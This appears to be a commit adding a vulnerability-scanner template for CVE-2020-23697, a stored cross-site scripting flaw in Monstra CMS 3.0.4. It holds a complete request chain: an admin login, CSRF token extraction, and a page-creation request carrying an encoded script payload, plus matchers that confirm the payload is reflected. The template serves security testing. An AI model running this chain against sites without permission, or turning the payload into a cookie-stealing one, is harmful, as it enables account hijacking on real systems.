Create CVE-2020-23697.yaml

cves/2020/CVE-2020-23697.yaml

@@ -0,0 +1,62 @@
+id: CVE-2020-23697
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Cross Site Scripting vulnerabilty in Monstra CMS 3.0.4 via the 'page' feature in admin/index.php.
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/463
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
+  classification:
+    cve-id: CVE-2020-23697
+  metadata:
+    verified: true
+  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
+
+variables:
+  string: "{{to_lower('{{randstr}}')}}"
+
+requests:
+  - raw:
+      - |
+        POST /admin/index.php?id=dashboard HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        login={{username}}&password={{password}}&login_submit=Log+In
+
+      - |
+        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+      - |
+        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
+
+      - |
+        GET /{{string}} HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(all_headers_4, "text/html")'
+          - 'status_code_4 == 200'
+          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: csrf
+        part: body
+        group: 1
+        regex:
+          - 'id="csrf" name="csrf" value="(.*)">'
+        internal: true